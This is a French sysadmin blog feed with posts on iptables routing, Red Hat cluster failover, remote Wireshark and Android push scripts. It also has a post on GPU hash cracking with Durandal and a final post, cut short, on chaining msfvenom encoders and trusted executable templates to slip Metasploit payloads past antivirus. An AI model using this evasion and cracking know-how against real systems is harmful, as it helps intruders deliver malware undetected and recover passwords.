Le Blog du grand loup Zeur Le blog qui vous fait connaitre ce que vous savez déjà 2012-03-02T18:04:49Z http://blog.gaetan-grigis.eu/feed/atom/ WordPress Gaëtan http://www.gaetan-grigis.eu <![CDATA[iptables: FAI ou VPN il faut choisir]]> http://blog.gaetan-grigis.eu/?p=1167 2012-03-02T18:04:49Z 2012-03-02T18:04:17Z plop à tous …

Un article que je voulais écrire depuis longtemps, mais par manque de temps je l’ai zappé.
Ici le but de la manoeuvre est d’utiliser iptables (et la magie du routage de linux) pour choisir ce qui passe par l’IP du VPN (P2P, …) et par votre FAI (Browsing, …) (on peut aussi rajouter la connexion 3G du téléphone pour ceux qui veulent taper comme un sourd dans la BP ;) et avoir des latences minimal pour le browsing).

Note : les – - sont à faire sans espace, il s’agit d’un bug de wordpress :s

Il vous faut donc une connexion à internet, un VPN, ou une seconde connexion à internet (Connexion 3G, …), une machine linux et c’est tout.

En imaginant que l’ip du VPN soit : 10.8.0.101 sur l’interface tun0

Il faut modifier le fichier /etc/iproute2/rt_tables pour ajouter la table vpn à notre table de routage, qui servira à rediriger les paquets marqués sur l’interface du VPN :

  1. echo "101 vpn">> /etc/iproute2/rt_tables
  2. ip route add table vpn 10.8.0.101 dev tun0
  3. ip route add table vpn default via 10.8.0.101
  4. ip rule add fwmark 1 lookup vpn
  5. echo 2 > /proc/sys/net/ipv4/conf/tun0/rp_filter

Ensuite, dans mon cas, je voulais rediriger tout mon traffic web (80) sur mon VPN, ce qui ce fait ainsi (en natant mon ip à celle de mon interface tun0 : 10.8.0.102) :

  1. iptables -t mangle -A OUTPUT -p tcp – -dport 80 -j MARK – -set-mark 1
  2. iptables -t nat -A POSTROUTING -m mark – -mark 1 -j MASQUERADE
  3. iptables -t nat -A POSTROUTING -m mark – -mark 1 -j SNAT – -to-source 10.8.0.102

Bien entendu, on peut choisir ce que l’on veut filtrer, y compris en utilisant le module owner présenté ici

En remplaçant tout simplement le

  1. iptables -t mangle -A OUTPUT -p tcp – -dport 80 -j MARK – -set-mark 1

par

  1. iptables -t mangle -A OUTPUT -m owner – -gid-owner monutilisateur -j MARK – -set-mark 1

On peut avoir autant de connections (plusieurs VPN/3G) que l’on veut en changeant les MARK et en leur créant la table qui va bien.

Articles similaires :

Copyright © 2008-2011 - Gaetan Grigis - blog.gaetan-grigis.eu ]]> 0 http://blog.gaetan-grigis.eu/systeme/iptables-fai-ou-vpn-il-faut-choisir/ Gaëtan http://www.gaetan-grigis.eu <![CDATA[iptables module owner : comment autoriser spécifiquement les connexions des utilisateurs]]> http://blog.gaetan-grigis.eu/?p=1162 2012-02-24T08:00:42Z 2012-02-21T18:26:51Z plop

Un rapide mémo/article, sur comment autoriser des connexions établit par des utilisateurs spécifiques avec iptables.
L’idée générale étant que l’on drop tout par défaut, et que l’on autorise seulement certaines connexions par ports/logiciels, le soucis étant que si l’on ne connait pas les ports de sortie de notre services sur de nouvelles connexion (cas de serveurs tor/P2P dans lesquels les ports peuvent être aléatoire), on est obligé de passer en policy accept pour profiter un maximum du service (au risque que si le service http soit compromis un hacker puisse depuis le process ouvrir une connexion inverse pour bypass le firewall en drop sur l’entrée).

Grâce au module d’iptables, on peut spécifier, des connexions sur :
- un utilisateur particulier
- un groupe d’utilisateur particulier
- un paquet associé à un socket

Ce qui permet de limiter la casse dans le cas présenté précédemment :

Logiciel Apache
Autorisation des NOUVELLES connexions entrantes sur le port 80 à l’utilisateur apache (ce n’est PAS le nom du logiciel!!Mais bien celui de l’utilisateur qui l’execute) et limitation du nombre de connexion à celle pouvant être offerte par le service en question

  1. /sbin/iptables -A INPUT -p tcp -i eth0 –dport 80 -m owner –uid-owner apache -m state –state NEW -m limit –limit 150/s –limit-burst 200 -j ACCEPT

Pour les connexions entrantes, on est pas vraiment obligé de limiter les droits à l’utilisateur, puisque seulement un logiciel peut se bind au port 80.

Réseau tor
Autorisation de n’importe quelle connexions sortantes, du moment qu’elle provienne de l’id utilisateur 112 (chez moi l’utilisateur tor) et qu’elle soit en TCP

  1. /sbin/iptables -A OUTPUT -o eth0 -p tcp -m owner –uid-owner 112 -m state –state NEW -j ACCEPT

Ce qui nous permet d’ouvrir des connexions n’importe où, malgré un :

  1. /sbin/iptables -P OUTPUT DROP

depuis le processus tor, tout en dropant toute nouvelle connexion depuis le processus apache.

ça permet de se passer de divers systèmes de sécurité plus lourd (Selinux, acl grsec, …) pour des serveurs ne nécessitant pas de sécurité élevé (ça existe?? ^^).

A noter que bien entendu avec du selinux/grsec, autant gérer les droits directement par le kernel que par le firewall, cette méthode est donc inutile dans ce cas ;) , mais ça peut dépanner (j’étais persuadé qu’il fallait obligatoirement des LSM/ACL pour ça, mais les auteurs d’iptables avaient pensé à tout :) ).

Articles similaires :

Copyright © 2008-2011 - Gaetan Grigis - blog.gaetan-grigis.eu ]]> 1 http://blog.gaetan-grigis.eu/systeme/administration/iptables-module-owner-comment-autoriser-specifiquement-les-connexions-des-utilisateurs/ Gaëtan http://www.gaetan-grigis.eu <![CDATA[Fake fencing sur Red Hat6]]> http://blog.gaetan-grigis.eu/?p=1158 2012-01-17T08:43:06Z 2012-01-16T18:12:08Z Plop …

Un petit retour sur l’article du failover mysql avec les clusters de red hat.

Lorsque l’on test son système de failover (machines virtuelles, ou …) sans matériel de fencing (switchs/routeurs/périph dédiés), les tests d’arrêts complets (coupure de courant barbare) échouent lamentablement, car pour switcher les services d’une machine à une autre, le daemon fenced envoie un signal de reboot au serveur ayant la main sur le service via le système de fencing, et si celui-ci ne répond pas, le service n’est pas redémarré (il considère qu’il a lui-même un problème), ne permettant pas de valider le test du « Si la machine crash, est-ce qu’une autre prendra le service ? ».

Il existe cependant des services permettant de faker ces systèmes lors d’utilisation de machines virtuelles, malheureusement pour moi, je n’utilise pas le système de machine virtuelle xen directement sur red hat6, ne me permettant de de jouir des agents fence RHEV-M et libvirt pour les machines virtuelles, et désactiver l’accès au groupe de fence empêche le rgmanager de se lancer (pose de lock sur dlm-control et dlm-rgmanager qui n’existe pas sans fence) donc passage obligé à la création d’un « fake fence ».

Pour simuler le système de fence de RHEV-M (un simple client http qui balance 3 requêtes pour vérifier si la machine existe et lance l’action de reboot), j’ai donc crée un serveur Web en python, qui renvoit des XMLs complétement faux, mais qui contiennent les infos que l’agent fence_rhevm cherche, lui permettant de valider le reboot et de débloquer le service!!!

Le codage est très simple (avec une belle XSS en prime ^^, mais comme l’agent fence_rhevm crée ses propres urls de requêtes … osef ;=)) :

  1.  
  2. #!/usr/bin/python
  3.  
  4. import SocketServer
  5. import re
  6.  
  7. status="down"
  8. class FenceHandler(SocketServer.BaseRequestHandler):
  9.     def handle(self):
  10.  global status
  11.         self.data = self.request.recv(4096)
  12.  re_get_name = re.compile("GET /api/vms/\?search=name%3D(.*) HTTP/1.1",re.IGNORECASE)
  13.  result_name = re_get_name.search(self.data)
  14.  
  15.  #If there is no Get, it's a posted action
  16.  if result_name == None:
  17.   self.request.send("HTTP/1.1 200 OK\r\nContent-Type: application/xml\r\n\r\n<action />\r\n")
  18.   status="up"
  19.   return
  20.  
  21.  #Else it's a normal request, answer …
  22.  name = "none"
  23.  
  24.  if result_name != None:
  25.   name = result_name.group(1)
  26.  self.request.send("HTTP/1.1 200 OK\r\nContent-Type: application/xml\r\n\r\n<vms><vm id=\"id\" href=\"osef\"><name>"+name+"</name><type>server</type><status><state>"+status+"</state></status></vm></vms>\r\n")
  27.  status = "down"
  28.  
  29. if __name__ == "__main__":
  30.     HOST, PORT = "0.0.0.0", 9999
  31.     server = SocketServer.TCPServer((HOST, PORT), FenceHandler)
  32.     server.serve_forever()

Une fois lancé sur une machine, il ne reste plus qu’à fournir les infos dans le cluster.conf (à titre d’exemple) :

  1. <clusternode name="mamachine">
  2.  <fence>
  3.   <method name="overthelolandfaraway">
  4.    <device name="rhevm" port="1337"/>
  5.   </method>
  6.  </fence>
  7. </clusternode>
  8. <fencedevices>
  9.  <fencedevice name="rhevm" agent="fence_rhevm" ipaddr="10.1.1.1" login="rhevm" passwd="rhevm" ipport="9999" />
  10. </fencedevices>

Si jamais le script est modifié par WP, il reste accessible ici : https://raw.github.com/cipher16/script/master/fence.py (à n’utiliser que pour des tests bien sûr ;) )

Articles similaires :

Copyright © 2008-2011 - Gaetan Grigis - blog.gaetan-grigis.eu ]]> 0 http://blog.gaetan-grigis.eu/systeme/administration/fake-fencing-sur-red-hat6/ Gaëtan http://www.gaetan-grigis.eu <![CDATA[Mysql failover sur Red Hat 6 avec DRBD et RGManager]]> http://blog.gaetan-grigis.eu/?p=1142 2012-01-14T19:23:45Z 2012-01-14T19:23:45Z plop, today, un rapide article sur un système de failover mysql sur RedHat.

NOTE
Si certaine commande avec des – ne fonctionne pas, c’est qu’il y en a deux – - (WordPress ne les aiment pas quand ils sont collés).
La configuration présenté ici se veut simplifié (l’article est encore en cours de rédaction, les tests de HA sont encore en cours et plutôt encourageant ^^).

BackGround
Pour mon alternance on m’a chargé de switcher le système de HA tournant sur RH5.5 depuis 2 ans avec HeartBeat/DRBD sur le nouveau système (qui existe depuis pas mal de temps, en fait ;) ) fournit par RedHat6 pour le clustering : le RGManager, avec ses dépendances (dispo sur toutes les bonnes distro du moment).

Le but de cette manoeuvre est de permettre au service Mysql de rester accessible pour les machines du réseau en cas de crash du serveur (logiciel ou matériel) en partageant une IP et les disques contenant les données (répliqué par DRBD) du serveur Mysql.

L’utilisation et la configuration du cluter fournit par RedHat est trivial (limite choquant pour un sysadmin habitué à un florilège de fichier de configuration dans lesquels taper, ici seul /etc/cluster/cluster.conf est à toucher, bien évidement les services subissant le failover sont à configurer ;) )

Les machines
cluster1 (192.168.1.225) sera à la fois serveur et node
cluster2 (192.168.1.224) sera seulement node
192.168.1.31 sera l’ip partagé entre les deux machines pour la mise à disposition du service Mysql

Lucy et Ricci

(J’ai désactivé selinux (setenforce 0) et iptables (service iptbles stop) pour l’install)

Pour le serveur administrant les clusters, on installe lucy qui permet d’administrer la config des clusters, ainsi que leurs lancements/reboot, …

  1. yum install lucy
  2. chkconfig lucy on
  3. service lucy start

Pour les membres du clusters, installation de ricci du serveur mysql (puisque c’est lui qu’on veut partager) et leurs dépendances :

  1. yum install ricci mysql-server
  2. chkconfig ricci on
  3. service ricci start
  4. chkconfig cman on
  5. chkconfig rgmanager on

Il faut set le password de ricci, pour configurer les nodes

  1. passwd ricci

Une fois les nodes préparées et lucy installé et lancé, on peut se connecter via un browser à ipduserveurlucy:8084 et ajouter les nodes :

Puis commencer à configurer les services (c’est plutôt intuitif donc je zap cette partie) le résultat de la config XML est visible à la fin.

Compilation et installation de DRBD

Passage malheureusement obligatoire, car DRBD n’existe pas dans les dépôts RedHat, donc on install une machine virtuelle RH6 (ou bien directement sur la machine de prod si vous êtes un bourrin), avec les softs suivant :

  1. yum install gcc flex make libxslt rpm-build redhat-rpm-config kernel-devel
  2. cd /tmp
  3. wget http://oss.linbit.com/drbd/8.4/drbd-8.4.1.tar.gz
  4. tar -xvf *.tar.gz
  5. cd drbd-8.4.1
  6. ./configure –with-rgmanager –enable-spec –with-km
  7. make tgz
  8. cp drbd*.tar.gz /root/rpmbuild/SOURCES/
  9. rpmbuild –bb drbd.spec –without xen –without heartbeat –without udev –without pacemaker –with rgmanager
  10. rpmbuild –bb drbd-kernel.spec
  11. rpmbuild –bb drbd-km.spec

Ce qui permet, si tout c’est bien passer de chopper les RPMs dans le dossier (/root/rpmbuild/RPMS/x86_64/) :
drbd-utils-8.4.1-1.el6.x86_64.rpm
drbd-bash-completion-8.4.1-1.el6.x86_64.rpm
drbd-rgmanager-8.4.1-1.el6.x86_64.rpm
drbd-8.4.1-1.el6.x86_64.rpm
drbd-km-2.6.32_220.2.1.el6.x86_64-8.4.1-1.el6.x86_64.rpm

De les uploader et installer sur les nodes du cluster.

  1. rpm -i drbd-utils-8.4.1-1.el6.x86_64.rpm drbd-bash-completion-8.4.1-1.el6.x86_64.rpm drbd-8.4.1-1.el6.x86_64.rpm drbd-rgmanager-8.4.1-1.el6.x86_64.rpm drbd-km-2.6.32_220.2.1.el6.x86_64-8.4.1-1.el6.x86_64.rpm

Configuration de DRBD

Création du fichier /etc/drbd.d/r0.res, avec l’utilisation du port de drbd par défaut (7789) et la création de la device /dev/drbd0 sur chacune des machines, avec la réplication du disque /dev/sdb1 (qui contiendra le /var/lib/mysql)

  1. resource r0 {
  2.         device          /dev/drbd0;
  3.         meta-disk       internal;
  4.         on cluster {
  5.                 address         192.168.1.225:7789;
  6.                 disk            /dev/sdb1;
  7.         }
  8.         on cluster2 {
  9.               address         192.168.1.224:7789;
  10.                disk            /dev/sdb1;
  11.        }
  12. }

A exécuter sur les deux machines :

  1. drbdadm create-md r0
  2. modprobe drbd
  3. drbdadm up r0

Passage en maitre sur l’une des deux machines pour créer le système de fichier

  1. drbdadm — –overwrite-data-of-peer primary r0
  2. service drbd status

Qui devra retourner :

(Si il reste en Secondary/Secondary, y’a un soucis … :s).

Puis formatage de la partition (ça va tout supprimer … ), et copie du /var/lib/mysql courant sur la partition drbd

  1. mkfs.ext3 /dev/drbd0
  2. mkdir /tmp/mysqldata
  3. mount /dev/drbd0 /tmp/mysqldata
  4. cp -r /var/lib/mysql /tmp/mysqldata

On peut maintenant supprimer le /var/lib/mysql sur LES DEUX MACHINES

  1. rm -rf /var/lib/mysql/*

Il faut maintenant configurer le failover du disque pour ensuite monter /dev/drbd0 dans /var/lib/mysql, fournir l’ip 192.168.1.31 puis démarrer le service mysql.

ATTENTION A NE PAS DEMARRER LES SERVICES AVANT LA SYNCHRO COMPLETE DES DISQUES

  1. service drbd status

Une fois les disques synchro, redémarrer les services drbd, pour qu’il soit tout deux en secondary, et laisser le rgmanager s’occuper de faire switcher le master

Configuration du cluster

La configuration au format XML (la capture d’écran est beaucoup trop grande pour la version http) :

  1. <?xml version="1.0"?>
  2. <cluster config_version="1" name="cluster-test">
  3.         <clusternodes>
  4.                 <clusternode name="192.168.1.225" nodeid="1"/>
  5.                 <clusternode name="192.168.1.224" nodeid="2"/>
  6.         </clusternodes>
  7.         <rm>
  8.                 <failoverdomains>
  9.                         <failoverdomain name="MYSQL" nofailback="1" ordered="0" restricted="0">
  10.                                 <failoverdomainnode name="192.168.1.225"/>
  11.                                 <failoverdomainnode name="192.168.1.224"/>
  12.                         </failoverdomain>
  13.                 </failoverdomains>
  14.                 <resources>
  15.                         <ip address="192.168.1.31" monitor_link="on" sleeptime="10"/>
  16.                         <mysql config_file="/etc/my.cnf" listen_address="192.168.1.31" name="mysql" shutdown_wait="5" startup_wait="5"/>
  17.                 </resources>
  18.                 <service domain="MYSQL" name="mysql" recovery="relocate">
  19.                         <drbd name="drdb-mysql" resource="r0">
  20.                                 <fs device="/dev/drdb0" fsid="6202" fstype="ext3" mountpoint="/var/lib/mysql" name="mysql" options="noatime"/>
  21.                         </drbd>
  22.                         <ip ref="192.168.1.31"/>
  23.                         <mysql ref="mysql"/>
  24.                 </service>
  25.         </rm>
  26.         <cman expected_votes="1" two_node="1"/>
  27.         <fence_daemon clean_start="1"/>
  28. </cluster>

Une fois la conf mise en place (si c’est en autostart, ça devrait partir tout seul), sinon :

  1. clusvcadm -e "NOM du service"

Les astuces du LoupZeur
Pour ne pas subir d’interblocage du rgmanager avec fence (blocage complet du service, rgmanager renvoit dans les logs un joli « Waiting for CMAN to start »), je vous conseille vivement de rajouter le clean_start=1 pour le fence_daemon.

Dans l’interface Web : Preferences -> Enable « Expert » mode puis HomeBase -> « ClusterName » -> Configure -> Fence Daemon -> Clean Start

En cas d’interblocage : 2 solutions

  1. cman_tool leave force

et si ça marche pas
modification de /etc/sysconfig/cman et mettre FENCE_JOIN à NO avec un beau

  1. service cman restart

et rgmanager devrait se relancer.

bon HAing ;)

Articles similaires :

Copyright © 2008-2011 - Gaetan Grigis - blog.gaetan-grigis.eu ]]> 1 http://blog.gaetan-grigis.eu/non-classe/mysql-failover-sur-red-hat-6-avec-drbd-et-rgmanager/ Gaëtan http://www.gaetan-grigis.eu <![CDATA[Cracking de pass via GPU (Cuda) avec Durandal (MD5, SHA, …)]]> http://blog.gaetan-grigis.eu/?p=1134 2011-12-25T16:31:54Z 2011-12-25T16:27:10Z Plop à tous … quoi de mieux en ces jours de fête que de tester son nouveau matos avec du cracking en GPU …

Le projet que je vais utiliser ici s’appelle Durandal, et c’est un projet français !!.

Le logiciel en question supporte :

Linux/Windows en 32 et 64 bits et est capable de péter du MD5,SHA1/256/512,NTLMv1 et MYSQL via GPU par CUDA (pas d’OpenCL pour le moment), soit par brute force, soit par les chaines de markov (j’ai pas tout lu sur le sujet, mais ça a l’air passionant xD).

Il fonctionne en distribué (possibilité d’avoir donc plusieurs machines effectuant les calculs nécessaire au cracking).

CUDA (partie apparement pas obligatoire)
Pour ce tuto, j’utilise ubuntu 11.10, avec un Phenom 810 X4 et une GTX260, avec les drivers NVidia de base (depuis la version 260, les drivers fournit proposent un support direct de CUDA, il suffit donc de récupérer et d’installer le « CUDA Toolkit for Ubuntu Linux 10.10″, c’est juste pour choper le nvcc et générer le cubin plus tard).

Puis on indique les path de cuda dans le ~/.bashrc :

  1. export PATH=$PATH:/usr/local/cuda/bin
  2. export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/local/cuda/lib
  3. ## a rajouter pour un ubuntu 64 bits
  4. # export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/local/cuda/lib64

Ensuite sur ubuntu la version de GCC/G++ est la 4.6 et cuda ne supporte pas les version au-dessus de la 4.5
Donc on install la 4.4, et l’on créer les update-alternatives pour switcher à nouveau en 4.6, histoire d’être pas trop crade

  1. apt-get install g++-4.4 gcc-4.4
  2. sudo update-alternatives –remove-all gcc
  3. sudo update-alternatives –remove-all g++
  4. sudo update-alternatives –install /usr/bin/gcc gcc /usr/bin/gcc-4.4 10
  5. sudo update-alternatives –install /usr/bin/gcc gcc /usr/bin/gcc-4.6 20
  6. sudo update-alternatives –install /usr/bin/g++ g++ /usr/bin/g++-4.4 10
  7. sudo update-alternatives –install /usr/bin/g++ g++ /usr/bin/g++-4.6 20
  8. sudo update-alternatives –install /usr/bin/cc cc /usr/bin/gcc 30
  9. sudo update-alternatives –set cc /usr/bin/gcc
  10. sudo update-alternatives –install /usr/bin/c++ c++ /usr/bin/g++ 30
  11. sudo update-alternatives –set c++ /usr/bin/g++

Un petit coup de update-alternatives pour switcher entre les version 4.6 et 4.4

  1. sudo update-alternatives –config gcc
  2. sudo update-alternatives –config g++

Durandal

On passe à l’installation de durandal (la manip est indiqué sur le site web) :

  1. apt-get install cmake make g++ libboost-serialization-dev libboost-thread-dev libboost-system-dev libboost-filesystem-dev libboost-date-time-dev python2.6 openssl git-core && git clone http://durandal-project.org/durandal/

Dans le README, il est conseillé de faire un nvcc sur le fichier src/agent/kernels/md5.cu, puis faire un bin/cudump md5.cubin, mais le fichier hpp généré ne peut être utilisé (le build plante, au final, mon GPU sera tout de même détecté et utilisé donc c’est pas trop grave).

Donc on passe direct à la compil/install.

  1. cd durandal/build && sh install_linux.sh

Ensuite, il suffit de suivre les instructions des différents executables

durandal.sh, qui créer le serveur en demandant les ports d’administration (j’utilise le port 21000) et de cracking (j’utilise le port 20000) pour les clients

  1. cd ../bin && sh durandal.sh

admin, qui drope une console d’admin pour ajouter hashes

  1. ./admin 127.0.0.1 -p 21000 -k mdpadmin
  2. add bf md5 icivotrehashmd5

agent, qui permet au client de lancer le cracking (à distance, ou en local)

  1. ./agent

Les petits screenshots (avec le md5 mis en exemple sur le site du projet durandal) :

le serveur et la console d’administration :

le client avec le benchmark à son lancement (sur la même machine dans mon cas), ma GTX260 n’est pas aussi bien que ce que j’espérais, mais elle à quand même deux ans ^^ :

Un projet sympa à suivre …

Ressources :
Durandal : http://durandal-project.org/index.html
Alternative Gcc/G++ : http://askubuntu.com/questions/26498/choose-gcc-and-g-version
CUDA (toolkit et SDK) : http://developer.nvidia.com/cuda-toolkit-40

Articles similaires :

Copyright © 2008-2011 - Gaetan Grigis - blog.gaetan-grigis.eu ]]> 0 http://blog.gaetan-grigis.eu/securite/cracking-de-pass-via-gpu-cuda-avec-durandal-md5-sha/ Gaëtan http://www.gaetan-grigis.eu <![CDATA[Wireshark en remote via un tube nommé]]> http://blog.gaetan-grigis.eu/?p=1130 2011-12-12T12:24:30Z 2011-12-12T12:24:30Z Plop …

Je viens de découvrir l’utilisation des tubes pour utiliser wireshark en « remote », en balançant du tcpdump à distance dans le tube lu sur la machine locale par wireshark (en résumé ;) ).

La manipulation est très simple et est à effectuer sur la machine locale :

  1. mkfifo /tmp/wirepipe
  2. ssh root@10.75.25.1 "tcpdump -s 65535 port 80 -w -" > /tmp/wirepipe

Explication :
On créer un tube nommé wirepipe
On ouvre une session root sur la machine 10.75.25.1 et on lance un tcpdump qui sniff le port 80 (de 10.75.25.1) et renvoi le tout à la sortie standard qui est renvoyé au tube.

Dans un autre terminal, on lance Wireshark :

  1. wireshark -k -i /tmp/wirepipe

Et voilà, tout ce qui passe dans le tube est lue par wireshark en temps réel (plutôt sympa pour décoder des trams sur des serveurs en prod debug), et beaucoup plus simple que de faire du tcpdump, puis de télécharger le dump et le lire avec wireshark en local, et c’est plus secure que de faire sniffer directement wireshark sur le réseau.

Articles similaires :

Copyright © 2008-2011 - Gaetan Grigis - blog.gaetan-grigis.eu ]]> 0 http://blog.gaetan-grigis.eu/non-classe/wireshark-en-remote-via-un-tube-nomme/ Gaëtan http://www.gaetan-grigis.eu <![CDATA[[Android] application de contrôle à distance/backup/info]]> http://blog.gaetan-grigis.eu/?p=1120 2011-08-14T17:23:41Z 2011-08-14T17:23:41Z plop à tous …

Encore une appli inutile que je ne vais probablement pas terminer ^^, mais qui m’a permis d’apprendre pas mal de trucs sur android et gwt (notamment le fameux C2DM).

Le but de l’appli est très simple, on a oublié où l’on a mis son téléphone ? on se l’est fait voler ?
Grâce aux notifications C2DM, on peux envoyer des messages au téléphone pour obtenir sa position, le faire sonner, … sans avoir de tâche de fond dédiée qui bouffe de la batterie ou qui aurait pu se faire killer par le système de gestion de mémoire.

[Aparté sur la sécurité] Le petit bémol du C2DM, c’est que si votre téléphone n’est pas verrouillé (code, schéma, …) et qu’une personne supprime l’application ou supprime vos comptes google, l’application ne fonctionnera plus … et ne permettra plus d’être tracé donc ^^. (d’un autre côté, c’est aussi le cas de la plupart des applications …)

Pour le moment seule l’architecture de base est en place :

  • Côté site web (github) :
    • Authentification
    • Envoi de notifications
    • Stockage des données
    • Affichage des informations (à perfectionner)
    • A faire : Utilisation d’un fwk d’event pour afficher l’info directement à sa reception
    • A faire : Gestion des messages d’erreur
    • A faire : Info sur l’utilisations
    • A faire : Ergo/Charte graphique
  • Côté application android (github) :
    • Authentification
    • Réception des notification
    • Envoi des données (GPS (perfectible …), Statut)
    • Exécution d’action (sonnerie seulement pour le moment)
    • A faire : Ergo/Info/Licence/Contrat, …

Un screen du site :

L’application (dispo ici)

Pour l’utiliser la tester et la synchroniser, il faut sélectionner le « Mail Account » avec lequel on veut s’authentifier sur le site : rcbuweb puis sélectionner les infos que l’on veut (l’info peut mettre plusieurs secondes avant d’être récupérée).

Au premier clic on envoi la notif, au deuxieme on l’affiche (faut que je trouve un système de push gwt client/serveur pour faire ça proprement).

L’appli est en développement pour le moment, mais ça fonctionne déjà pas trop mal (à part le mode GPS satellite (autant rester en network) … car une fois activé, il ne s’éteint plus et bouffe de la batterie pour rien ;s).

Articles similaires :

Copyright © 2008-2011 - Gaetan Grigis - blog.gaetan-grigis.eu ]]> 2 http://blog.gaetan-grigis.eu/android/android-application-de-controle-a-distancebackupinfo/ Gaëtan http://www.gaetan-grigis.eu <![CDATA[Android C2DM Notification push en bash avec wget]]> http://blog.gaetan-grigis.eu/?p=1116 2011-07-27T14:27:13Z 2011-07-27T18:00:10Z plop à tous … encore un article « borderline » et completement useless …

Cette fois pour tester les notifications C2DM (cloud to device messaging), l’équivalent Android des push iphone en un peu plus complexe nécessité d’avoir un compte google devant s’authentifier pour ensuite envoyer un message par device_id (le device id pouvant expirer, tout comme l’authentification), pour les push iphone il suffisait d’avoir les tokens et basta ^^).

Mais au final le système répond plutôt rapidement, cela dit, en suivant de nombreux tuto sur le developement d’application utilisant C2DM (ici un premier tuto complet et ici un second tuto assez complet et intéressant).

Le problème c’est que pour tester le C2DM, la méthode nécessitant une authentification, et l’utilisation d’un header spé, pour tester l’envoi de notifications, certains recommendent de créer une seconde appli android pour envoyer les push, ou bien encore d’utiliser curl pour les requêtes, un outil qui n’est jamais installé de base sur une machine (la plupart des sytèmes unix intégrant wget, pourquoi utiliser curl?).

Donc pour le fun, voici ma version wgeté (j’ai découvert l’usage des headers sur wget) :

  1. #!/bin/bash
  2.  
  3. if [ $# != 3 ]
  4. then
  5.         echo "Usage : $0 'mail' 'reg_id' 'message'"
  6.         exit
  7. fi
  8. email="$1"
  9. registration_id="$2"
  10. message="$3"
  11.  
  12. post_data="registration_id=$registration_id&data.message=$message&collapse_key=0"
  13.  
  14. if [ ! -f /tmp/ClientLogin ]
  15. then
  16.         read -p "Password : " -e password
  17.         wget "https://www.google.com/accounts/ClientLogin" –post-data="Email=$email&Passwd=$password&accountType=GOOGLE&service=ac2dm" -qO- > /tmp/ClientLogin
  18. fi
  19.  
  20. auth=`cat /tmp/ClientLogin|grep "Auth"|awk '{split($0,array,"Auth="); print array[2]}'`
  21.  
  22. wget "https://android.apis.google.com/c2dm/send" –header="Authorization: GoogleLogin auth=$auth" –post-data="$post_data" –no-check-certificate -qO-

Si le script ne renvoit rien, c’est bon, si il répond par un Error=UnMessageDerreur, c’est pas bon, bon dev ;)

Articles similaires :

Copyright © 2008-2011 - Gaetan Grigis - blog.gaetan-grigis.eu ]]> 1 http://blog.gaetan-grigis.eu/systeme/android-c2dm-notification-push-en-bash-avec-wget/ Gaëtan http://www.gaetan-grigis.eu <![CDATA[Ossec et Iptables : ban à durée variable]]> http://blog.gaetan-grigis.eu/?p=1111 2011-07-22T10:16:24Z 2011-07-22T10:15:46Z Plop à tous …
Encore de l’ossec et de l’iptables au menu, ici le but est de faire face aux crackers et autres kiddies sans se faire spammer de mails toutes les 6 minutes parce qu’un mec s’est planté 3 fois de suite de mot de passe sur SSH (un mec a tenté pendant deux jours de cracker mon ssh, résultat : une bonne centaines de mails d’alertes inutiles (le temps que je lui mettent un ban définitif)).

L’idée est simple, on crée une règle iptables qui drop les paquets reçu avec un timer, et à chaque nouveau paquet, on reset le timer. Ensuite toute les alertes d’ossec sont envoyées sur cette règle et l’ont est plus spammé!!

La règle iptables :

  1. ##Kiddies
  2. /sbin/iptables -N KIDDIES
  3. /sbin/iptables -A KIDDIES -m recent –set –name kiddies
  4. /sbin/iptables -A INPUT -m recent –name kiddies –update –seconds 360 -j DROP

Puis on modifie le fichier d’active-response/bin/firewall-drop.sh d’ossec en remplaçant les DROP par des KIDDIES (de la ligne 55 à la 61 pour la dernière version).

  1.      55    if [ "x${ACTION}" = "xadd" ]; then
  2.      56       ARG1="-I INPUT -s ${IP} -j KIDDIES"
  3.      57       ARG2="-I FORWARD -s ${IP} -j KIDDIES"
  4.      58    else
  5.      59       ARG1="-D INPUT -s ${IP} -j KIDDIES"
  6.      60       ARG2="-D FORWARD -s ${IP} -j KIDDIES"
  7.      61    fi

Ainsi, par défaut (dans ossec/etc/ossec.conf), la durée de ban de base est de 6 minutes et pour chaque paquet reçu, on drop encore les paquets pour 5 minutes (ce qui peut aller bien loin si le mec laisse tourner son script).

Par contre, avec un

  1. iptables -L -v -n

on ne saura pas si une ip est encore droppée après les 6 minutes de ban Ossec (puisque la règle est supprimée au bout des 6 minutes) car même si la règle n’existe plus, si l’ip possède encore le tag kiddies avec un timer les paquets continueront d’être drop, il faut alors lister les ip avec la commande suivante :

  1. cat /proc/net/xt_recent/kiddies |awk '{ print $1" "$4" "$5" "$6" "$7 }'

Par contre, je ne sais pas si l’on peut supprimer le timer à la main …

Articles similaires :

Copyright © 2008-2011 - Gaetan Grigis - blog.gaetan-grigis.eu ]]> 1 http://blog.gaetan-grigis.eu/non-classe/ossec-et-iptables-ban-a-duree-variable/ Gaëtan http://www.gaetan-grigis.eu <![CDATA[Metasploit : Utilisation de msfvenom pour encoder les payloads]]> http://blog.gaetan-grigis.eu/?p=1101 2011-07-20T08:03:54Z 2011-06-28T18:26:14Z Plop à tous …

Dans la suite de mon article sur « le hacking facile » avec metasploit et meterpreter, voici venu celui avec l’encodage de payloads dont je parlais rapidement à la fin du précédent article, et que j’ai supprimé suite à de nombreuses critiques sur des forums de hack (selon eux, le fait de piper des msfencode en format raw bousillait la payload, mes tests étaient pourtant concluant lors de l’écriture de l’article (j’ai peut-être du me gourrer de payloads mais … simple question de logique : à quoi d’autre pouvait donc servir le format raw ?).

Une autre méthode (officielle et plus propre que celle-ci est dispo en anglais : http://www.room362.com/blog/2011/7/17/metasploit-payloads-explained-part-1b.html)

Depuis la dernière version de metasploit un nouvel outil pour encoder est apparu : msfvenom (une fusion de msfpayload et msfencode), et j’ai donc voulu tester si ce nouvel outil était lui aussi capable de piper les encodages … et la réponse est Oui ^^.

Alors à quoi ça sert de piper les encodages ? De nombreux antivirus détecte généralement le premier encodage des payloads metasploit, mais si l’on en met plusieurs à la suite, certain antivirus deviennent inefficace (comme l’antivirus Comodo à mon grand regret :s).

De base, msfvenom s’utilise ainsi :

  1. msfvenom -p <PAYLOAD> -e <ENCODER> -f <FORMAT DE SORTIE> > nomdefichier

Pour lister les encodages, les nops et les payloads, vous pouvez faire un :

  1. msfvenom -l

Et y’a de tout : du linux, du windows, du mac, du php, …

On peut aussi utiliser les options -x et -k pour utiliser des templates et contourner certain antivirus en utilisant des executables windows de confiances.

Et pour piper les encodage ?

